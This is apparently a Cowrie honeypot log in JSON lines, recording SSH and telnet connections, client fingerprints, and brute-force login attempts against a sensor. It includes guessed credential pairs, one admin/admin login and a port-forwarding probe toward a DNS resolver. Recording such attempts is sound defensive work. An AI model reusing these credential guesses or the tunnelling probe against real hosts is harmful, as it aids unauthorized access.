{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:59.734401Z","src_ip":"159.203.92.129","session":"565c1196337a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40380,"dst_ip":"10.17.0.5","dst_port":23,"session":"d954514045bd","protocol":"telnet","message":"New connection: 162.253.42.116:40380 (10.17.0.5:23) [session: d954514045bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:01.419822Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61406,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6a95ab3606d","protocol":"ssh","message":"New connection: 194.59.206.2:61406 (159.203.135.109:22) [session: b6a95ab3606d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:03.402711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:03.415012Z","src_ip":"194.59.206.2","session":"b6a95ab3606d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:03.505759Z","src_ip":"194.59.206.2","session":"b6a95ab3606d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.50758767127991,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:03.532860Z","src_ip":"162.253.42.116","session":"e594a161cc33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54344987869263,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:03.565363Z","src_ip":"162.253.42.116","session":"0bc421810071","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:03.600910Z","src_ip":"194.59.206.2","session":"b6a95ab3606d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52896,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fe32e1d6c82","protocol":"telnet","message":"New connection: 185.26.126.47:52896 (159.203.135.109:23) [session: 8fe32e1d6c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:05.067838Z"}
{"eventid":"cowrie.session.closed","duration":44.59481906890869,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:06.049435Z","src_ip":"162.253.42.116","session":"2196271de90a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59544,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ac5562048af","protocol":"ssh","message":"New connection: 102.213.34.99:59544 (10.17.0.5:22) [session: 3ac5562048af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:07.276506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:07.281773Z","src_ip":"102.213.34.99","session":"3ac5562048af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:07.451370Z","src_ip":"102.213.34.99","session":"3ac5562048af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46650,"dst_ip":"10.17.0.5","dst_port":23,"session":"9813d9cc6d12","protocol":"telnet","message":"New connection: 162.253.42.116:46650 (10.17.0.5:23) [session: 9813d9cc6d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:07.748626Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass1234","message":"login attempt [admin/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:08.161754Z","src_ip":"102.213.34.99","session":"3ac5562048af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":43802,"dst_ip":"10.17.0.5","dst_port":23,"session":"24a8190a1c37","protocol":"telnet","message":"New connection: 194.195.250.213:43802 (10.17.0.5:23) [session: 24a8190a1c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:08.180838Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49162,"dst_ip":"10.17.0.5","dst_port":23,"session":"b167c1e1f741","protocol":"telnet","message":"New connection: 162.253.42.116:49162 (10.17.0.5:23) [session: b167c1e1f741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:08.906760Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:09.334230Z","src_ip":"102.213.34.99","session":"3ac5562048af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49700,"dst_ip":"10.17.0.5","dst_port":23,"session":"2221a2346406","protocol":"telnet","message":"New connection: 162.253.42.116:49700 (10.17.0.5:23) [session: 2221a2346406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:10.375271Z"}
{"eventid":"cowrie.session.closed","duration":34.17684078216553,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:11.247571Z","src_ip":"162.253.42.116","session":"926f4d9de150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32037377357483,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:15.114555Z","src_ip":"162.253.42.116","session":"024d068d352b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57244,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ef4adcb66d3","protocol":"telnet","message":"New connection: 162.253.42.116:57244 (10.17.0.5:23) [session: 5ef4adcb66d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:15.911124Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":40110,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f29f61c439d","protocol":"ssh","message":"New connection: 165.154.5.173:40110 (10.17.0.5:22) [session: 1f29f61c439d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:16.853488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:16.858692Z","src_ip":"165.154.5.173","session":"1f29f61c439d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:17.070990Z","src_ip":"165.154.5.173","session":"1f29f61c439d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123","message":"login attempt [admin1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:17.951815Z","src_ip":"165.154.5.173","session":"1f29f61c439d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:19.168522Z","src_ip":"165.154.5.173","session":"1f29f61c439d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.0454523563385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:26.248881Z","src_ip":"162.253.42.116","session":"5b9dc62167d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48910,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c78cba429e8","protocol":"ssh","message":"New connection: 87.251.64.176:48910 (10.17.0.5:22) [session: 2c78cba429e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:28.523184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:28.527878Z","src_ip":"87.251.64.176","session":"2c78cba429e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":44270,"dst_ip":"10.17.0.5","dst_port":23,"session":"35126aff003b","protocol":"telnet","message":"New connection: 162.253.42.116:44270 (10.17.0.5:23) [session: 35126aff003b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:28.648234Z"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:28.744589Z","src_ip":"87.251.64.176","session":"2c78cba429e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:29.403833Z","src_ip":"87.251.64.176","session":"2c78cba429e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:30.144764Z","session":"2c78cba429e8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:30.365147Z","src_ip":"87.251.64.176","session":"2c78cba429e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:30.589267Z","src_ip":"87.251.64.176","session":"2c78cba429e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.60012102127075,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:32.614055Z","src_ip":"194.195.250.213","session":"d6e52d8244a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50776,"dst_ip":"10.17.0.5","dst_port":23,"session":"f18fce180c42","protocol":"telnet","message":"New connection: 162.253.42.116:50776 (10.17.0.5:23) [session: f18fce180c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:34.439679Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51244,"dst_ip":"10.17.0.5","dst_port":23,"session":"3380cc04659a","protocol":"telnet","message":"New connection: 162.253.42.116:51244 (10.17.0.5:23) [session: 3380cc04659a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:34.927879Z"}
{"eventid":"cowrie.session.closed","duration":35.17999529838562,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:36.599669Z","src_ip":"162.253.42.116","session":"d954514045bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.48109817504883,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:36.630222Z","src_ip":"162.253.42.116","session":"82c07ce6fb84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.203.138.199","src_port":49822,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e191603ba1","protocol":"telnet","message":"New connection: 116.203.138.199:49822 (159.203.135.109:23) [session: d4e191603ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:39.581151Z"}
{"eventid":"cowrie.session.closed","duration":34.12413763999939,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:41.872647Z","src_ip":"162.253.42.116","session":"9813d9cc6d12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.894232511520386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:41.961936Z","src_ip":"185.26.126.47","session":"8fe32e1d6c82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.673526763916016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:43.048676Z","src_ip":"162.253.42.116","session":"2221a2346406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59090,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a82b6aac6d7","protocol":"ssh","message":"New connection: 159.203.92.129:59090 (159.203.135.109:22) [session: 9a82b6aac6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:43.747740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:43.752638Z","src_ip":"159.203.92.129","session":"9a82b6aac6d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:43.761130Z","src_ip":"159.203.92.129","session":"9a82b6aac6d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anandaku","password":"anandaku","message":"login attempt [anandaku/anandaku] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:43.772310Z","src_ip":"159.203.92.129","session":"9a82b6aac6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:44.779166Z","src_ip":"159.203.92.129","session":"9a82b6aac6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99255418777466,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:44.899186Z","src_ip":"162.253.42.116","session":"b167c1e1f741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25ecadc8d39","protocol":"telnet","message":"New connection: 162.253.42.116:34850 (10.17.0.5:23) [session: b25ecadc8d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:45.339341Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.203.138.199","src_port":53704,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ded9132a77","protocol":"telnet","message":"New connection: 116.203.138.199:53704 (159.203.135.109:23) [session: 61ded9132a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:45.876878Z"}
{"eventid":"cowrie.session.closed","duration":39.34320259094238,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:22:47.523920Z","src_ip":"194.195.250.213","session":"24a8190a1c37","protocol":"telnet"}
